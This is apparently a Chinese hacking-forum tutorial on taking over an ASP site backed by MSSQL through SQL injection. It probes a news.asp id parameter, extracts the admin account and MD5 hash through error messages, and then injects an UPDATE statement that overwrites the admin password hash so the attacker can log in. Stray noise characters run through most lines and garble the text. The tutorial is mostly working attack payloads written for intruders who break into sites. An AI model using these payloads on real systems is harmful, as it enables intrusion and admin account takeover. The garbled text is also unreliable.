经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
0 y2 b1 B( v8 q: P可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
$ |/ y! P; B# E2 \测试如下:) e2 b7 J2 y' R# Q4 X; E
http://www.tmdsb.com/news.asp?id=1215 B: D. s/ W5 n6 V) v, N
在地址后输入单引号,显示 f( h' Q* }/ v: Q! i+ k; o
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
: j3 [, C* @$ R4 _2 a3 D字符串 ’’’ 之前有未闭合的引号
, U$ [0 v% b0 t; J2 ]5 }6 P/news/tmdws.asp,行633 x: j0 o# d5 k3 E7 U
说明没有过滤单引号且数据库是MSSQL.: S" s1 a( R$ G$ u
and 1=1正常。and 1=2出错。肯定存在注入, k/ N) F5 T& [2 k( _. {& H" g
接着输入
# `- h# p/ y- @http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
1 F0 O8 Q L6 C0 T z& D- O" {8 F得到帐号为:admin3 F# B: D- I* h' v" `" \$ l4 A9 i
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
& X+ L7 S- b1 u1 q1 j% ?) i得到密码为:a4716077c2ba075c |- f- S/ k# V: {( d
接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f294335 Y k' }2 Q) K4 @) f4 h- p
命令如下 :2 H* A6 {" @8 d( _3 X
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–. S3 j7 w3 w* l4 V
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |